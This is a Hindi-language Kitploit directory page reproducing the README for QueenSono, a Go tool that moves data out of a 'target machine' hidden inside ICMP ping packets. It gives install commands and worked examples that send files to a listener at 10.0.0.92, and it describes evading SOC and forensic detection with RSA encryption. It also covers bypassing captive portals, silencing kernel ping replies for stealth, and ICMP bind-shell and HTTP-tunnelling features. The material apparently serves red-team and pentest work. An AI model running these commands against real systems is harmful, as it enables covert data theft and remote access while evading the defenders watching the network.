Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
QueenSono — ICMP प्रोटोकॉल के साथ डेटा एक्सफिल्ट्रेशन के लिए गोलांग बाइनरी (+ ICMP bindshell, ICMP के ऊपर HTTP टनलिंग, ...) | Kitploit
उपकरण/GitHubGitHub/ariary/queensono
डेटा निष्कासननेटवर्क सुरक्षापेनिट्रेशन टेस्टिंगकमांड एंड कंट्रोलरेड टीमिंग
GitHubariary/queensono

QueenSono

ICMP प्रोटोकॉल के साथ डेटा एक्सफिल्ट्रेशन के लिए गोलांग बाइनरी (+ ICMP bindshell, ICMP के ऊपर HTTP टनलिंग, ...)

रिपॉजिटरी देखें
168273 महीने पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

QueenSono ICMP डेटा एक्सफिल्ट्रेशन



ICMP प्रोटोकॉल (IPv4 और IPv6) के साथ डेटा एक्सफिल्ट्रेशन के लिए एक गोलांग पैकेज।

QueenSono उपकरण केवल इस तथ्य पर निर्भर करता है कि ICMP प्रोटोकॉल की निगरानी नहीं की जाती है। यह काफी सामान्य है। इसका उपयोग बुनियादी ICMP निरीक्षण (जैसे आवृत्ति और सामग्री लंबाई पर नज़र रखने वाला) वाले सिस्टम में भी किया जा सकता है या captive portal के साथ प्रमाणीकरण चरण को बायपास करने के लिए (कई सार्वजनिक वाई-फाई द्वारा उपयोग किया जाता है जैसे हवाई अड्डे का वाई-फाई, उपयोगकर्ताओं को वाई-फाई से जुड़ने के बाद प्रमाणित करने के लिए)। इस विचार के साथ PyExfil (और अन्य) की नकल करने का प्रयास करें कि लक्ष्य मशीन पर पायथन स्थापित होना आवश्यक नहीं है (इसलिए बाइनरी प्रदान करना उपयोगी हो सकता है)

इसे स्थापित करें · इसका उपयोग करें · नोट्स · सुविधा का अनुरोध करें · 🎁

स्थापित करें

curl के साथ

> रिलीज़ से

root@kitploit:~
curl -lO -L https://github.com/ariary/QueenSono/releases/latest/download/qsreceiver
curl -lO -L https://github.com/ariary/QueenSono/releases/latest/download/qssender

go के साथ

> go install के माध्यम से

सुनिश्चित करें कि $GOPATH आपके $PATH में पहले से है

qssender स्थापित करें

root@kitploit:~
go install github.com/ariary/QueenSono/cmd/client@latest
mv $GOPATH/bin/client $GOPATH/bin/qssender #rename binary

qsreceiver स्थापित करें

root@kitploit:~
go install github.com/ariary/QueenSono/cmd/server@latest
mv $GOPATH/bin/server $GOPATH/bin/qsreceiver #rename binary

> स्रोत से बाइनरी स्थापित करें

रिपॉजिटरी को क्लोन करें और निर्भरताओं को स्थानीय रूप से डाउनलोड करें:

root@kitploit:~
git clone https://github.com/ariary/QueenSono.git
cd QueenSono
make before.build

ICMP पैकेट भेजने वाले qssender को बनाने के लिए :

root@kitploit:~
 build.queensono-sender

ICMP पैकेट प्राप्त करने वाले qsreceiver को बनाने के लिए :

root@kitploit:~
 build.queensono-receiver

उपयोग

qssender वह बाइनरी है जो श्रोता को ICMP पैकेट भेजेगी, इसलिए यह वह बाइनरी है जिसे आपको अपनी लक्ष्य मशीन पर स्थानांतरित करना होगा।

qsreceiver आपकी स्थानीय मशीन (या जहाँ भी आप ICMP पैकेट प्राप्त कर सकते हैं) पर श्रोता है।

बाइनरी के सभी कमांड और फ़्लैग --help का उपयोग करके पाए जा सकते हैं।

उदाहरण 1: "ACK" के साथ भेजें 🔙

> इस उदाहरण में हम एक बड़ी फ़ाइल भेजना चाहते हैं और पैकेटों की प्राप्ति की पुष्टि करने के लिए echo reply की प्रतीक्षा करते हैं (ACK)।

demo

स्थानीय मशीन पर:

root@kitploit:~
$ qsreceiver receive -l 0.0.0.0 -p -f received_bible.txt
व्याख्या
  • -l 0.0.0.0 ICMP पैकेट के लिए सभी इंटरफ़ेस पर सुनें
  • -f received_bible.txt प्राप्त डेटा को एक फ़ाइल में सहेजें
  • -p प्राप्त डेटा की प्रगति पट्टी दिखाएँ
  • लक्ष्य मशीन पर:

    root@kitploit:~
    $ wget https://raw.githubusercontent.com/mxw/grmr/master/src/finaltests/bible.txt #download a huge file (for the example)
    $ qssender send file -d 2 -l 0.0.0.0 -r 10.0.0.92 -s 50000 bible.txt
    
    व्याख्या
  • send file फ़ाइल भेजने के लिए (bible.txt संबंधित फ़ाइल है)
  • -d 2 प्रत्येक 2 सेकंड में एक पैकेट भेजें
  • -l 0.0.0.0 echo reply के लिए सुनने का पता
  • -r 10.0.0.92 मेरी दूरस्थ मशीन का पता जहाँ qsreceiver सुन रहा है
  • -s 50000 प्रत्येक पैकेट में भेजने के लिए डेटा का आकार
  • उदाहरण 2: "ACK" के बिना भेजें 🙈

    > इस उदाहरण में हम echo reply की प्रतीक्षा किए बिना एक संदेश भेजना चाहते हैं (यह उस स्थिति में उपयोगी हो सकता है जब लक्ष्य फ़ायरवॉल आने वाले ICMP पैकेट को फ़िल्टर करता है)

    demo

    स्थानीय मशीन पर:

    root@kitploit:~
    $ qsreceiver receive truncated 1 -l 0.0.0.0
    
    व्याख्या
  • receive truncated 1 यदि हमें सभी पैकेट प्राप्त नहीं होते हैं तो अनिश्चित काल तक प्रतीक्षा नहीं करता है। (1 वह विलंब है जिसका उपयोग qssender के साथ किया जाता है)

  • गुप्तता के लिए आप कर्नेल को किसी भी ICMP पिंग का उत्तर देने से रोक सकते हैं
    root@kitploit:~
    echo 1 | dd of=/proc/sys/net/ipv4/icmp_echo_ignore_all

    लक्ष्य मशीन पर:

    root@kitploit:~
    $ qssender send "thisisatest i want to send a string w/o waiting for the echo reply" -d 1 -l 0.0.0.0 -r 10.0.0.190 -s 1 -N
    
    व्याख्या
  • -N noreply विकल्प (echo reply की प्रतीक्षा न करें)
  • उदाहरण 3: एन्क्रिप्टेड डेटा भेजें 🔒

    > इस उदाहरण में हम एक एन्क्रिप्टेड संदेश भेजना चाहते हैं। चूंकि कमांड लाइन की जासूसी हो सकती है, हम असममित एन्क्रिप्शन का उपयोग करते हैं (यदि कुंजी लीक हो जाती है, तो यह कोई समस्या नहीं है)

    demo

    स्थानीय मशीन पर:

    root@kitploit:~
    $ qsreceiver receive -l 0.0.0.0 --encrypt 
    <OUTPUT PUBLIC KEY>
    
    व्याख्या
  • --encrypt एन्क्रिप्शन एक्सचेंज का उपयोग करें। यह सार्वजनिक/निजी कुंजी उत्पन्न करेगा। सार्वजनिक कुंजी का उपयोग qssender द्वारा डेटा को एन्क्रिप्ट करने के लिए किया जाएगा, निजी कुंजी का उपयोग receiver द्वारा डिक्रिप्ट करने के लिए किया जाता है।
  • लक्ष्य मशीन पर:

    root@kitploit:~
    $ export MSG="<your message>"
    $ export KEY="<public_key_from_qsreceiver_output>"
    $ qssender send $MSG -d 1 -l 0.0.0.0 -r 10.0.0.190 -s 5 --key $KEY
    
    व्याख्या
  • --key डेटा एन्क्रिप्शन के लिए कुंजी प्रदान करें। qsreceiver कमांड द्वारा प्रदान की गई कुंजी का उपयोग करें।
  • एन्क्रिप्शन के बारे में

    RSA एन्क्रिप्शन का उपयोग आदान-प्रदान किए गए डेटा को गोपनीय रखने के लिए किया जाता है। यह उदाहरण के लिए एक SoC को यह देखने से बचने के लिए उपयोगी हो सकता है कि क्या डेटा आदान-प्रदान किया जा रहा है (या फोरेंसिक) बुनियादी विश्लेषण के साथ या केवल गोपनीयता के लिए।

    लेकिन इसकी एक कीमत है। असममित एन्क्रिप्शन का चुनाव इस तथ्य से प्रेरित है कि एन्क्रिप्शन कुंजी कमांड लाइन पर दर्ज की जाती है (इसलिए इसे आसानी से पुनर्प्राप्त किया जा सकता है)। इसलिए, हम सार्वजनिक कुंजी से डेटा को एन्क्रिप्ट करते हैं। इस प्रकार यदि कोई एन्क्रिप्शन कुंजी प्राप्त कर लेता है, तो संदेश को डिक्रिप्ट करना संभव नहीं होगा। लेकिन सार्वजनिक कुंजी निजी कुंजी से छोटी होती है, इसलिए यह छोटे संदेशों को एन्क्रिप्ट करती है। साथ ही, यह कम्प्यूटेशनल रूप से महंगा है।

    एक और बिंदु, चूंकि हम डेटा आकार/पिंग अनुरोधों को सीमित करना चाहते हैं (पता लगाने, बग आदि से बचने के लिए), एन्क्रिप्शन का उपयोग केवल आवश्यक होने पर करें क्योंकि संदेश आउटपुट-आकार हमेशा मॉड्यूलस के आकार के बराबर होगा (चाहिए) (कुंजी का हिस्सा) जो बड़ा है।

    सुधार

    वर्तमान में, पूरे संदेश को एन्क्रिप्ट किया जाता है और फिर भेजने के लिए टुकड़ों में विभाजित किया जाता है। दूसरी तरफ हम सभी पैकेट (टुकड़ों) की प्रतीक्षा करते हैं, अपने संदेश का पुनर्निर्माण करते हैं और फिर इसे डिक्रिप्ट करते हैं। लेकिन यह तभी काम करता है ⇔ जब हमें सभी टुकड़े प्राप्त हो गए हों, अन्यथा डिक्रिप्शन विफल हो जाएगा।

    => हम प्रत्येक टुकड़े को -s पैरामीटर के अनुसार एन्क्रिप्ट कर सकते हैं, इस प्रकार हम उन्हें अलग-अलग डिक्रिप्ट कर सकते हैं।

    उदाहरण 4: echo reply के माध्यम से डेटा प्राप्त करें ↩️

    > इस उदाहरण में स्थानीय मशीन ICMP echo replies के माध्यम से डेटा वापस लक्ष्य को भेजती है। तब उपयोगी जब लक्ष्य से बाहर जाने वाला ICMP फ़िल्टर किया गया हो लेकिन लक्ष्य echo replies प्राप्त कर सकता हो।

    स्थानीय मशीन पर:

    root@kitploit:~
    $ qsreceiver reply-send "secret data to exfiltrate" -l 0.0.0.0 -d 1
    
    व्याख्या
  • reply-send `qssender` से एक ट्रिगर की प्रतीक्षा करता है, फिर ICMP echo replies के रूप में डेटा वापस भेजता है
  • -l 0.0.0.0 ट्रिगर पैकेट के लिए सभी इंटरफ़ेस पर सुनें
  • -d 1 प्रत्येक उत्तर पैकेट के बीच 1 सेकंड का विलंब
  • लक्ष्य मशीन पर:

    root@kitploit:~
    $ qssender receive -l 0.0.0.0 -r 10.0.0.92
    
    व्याख्या
  • receive `qsreceiver` को एक ट्रिगर भेजता है और आने वाले echo replies से डेटा एकत्र करता है
  • -l 0.0.0.0 आने वाले echo replies के लिए सुनने का पता
  • -r 10.0.0.92 मेरी स्थानीय मशीन का पता जहाँ qsreceiver reply-send प्रतीक्षारत है
  • IPv6 समर्थन

    QueenSono पारदर्शी रूप से ICMPv6 का समर्थन करता है। IPv6 पता प्रदान करें और प्रोटोकॉल स्वचालित रूप से पहचाना जाता है — कोई अतिरिक्त फ़्लैग आवश्यक नहीं।

    स्थानीय मशीन पर:

    root@kitploit:~
    $ qsreceiver receive -l ::
    

    लक्ष्य मशीन पर:

    root@kitploit:~
    $ qssender send "hello from ipv6" -d 2 -l :: -r fe80::1 -s 50000
    
    व्याख्या
  • -l :: सभी IPv6 इंटरफ़ेस पर सुनें
  • -r fe80::1 दूरस्थ मशीन का IPv6 पता — स्वचालित रूप से ICMPv6 को ट्रिगर करता है
  • सभी मोड (ACK के साथ भेजें, ACK के बिना भेजें, एन्क्रिप्टेड, echo reply) IPv6 पर उसी तरह काम करते हैं।

    बोनस

    QueenSono के साथ मज़ेदार चीजों के लिए hack अनुभाग देखें:

    • ICMP का उपयोग करके बाइंड शेल
    • ICMP के ऊपर HTTP टनलिंग

    नोट्स

    • केवल Linux पर काम करता है (golang net icmp पैकेज के उपयोग के कारण)
    • cap_net_raw क्षमताओं की आवश्यकता है
    • IPv4 (ICMP) और IPv6 (ICMPv6) दोनों का समर्थन करता है — पते से स्वचालित रूप से पहचाना जाता है
    • यदि आप वास्तव में 2 अलग-अलग मशीनों पर ICMP पैकेट भेजते हैं और आप echo reply की प्रतीक्षा करते हैं, तो सुनने वाले पते के रूप में दूरस्थ द्वारा पहुंच योग्य IP का उपयोग करना सुनिश्चित करें (localhost या समकक्ष का उपयोग न करें)
    टूल डाउनलोड करें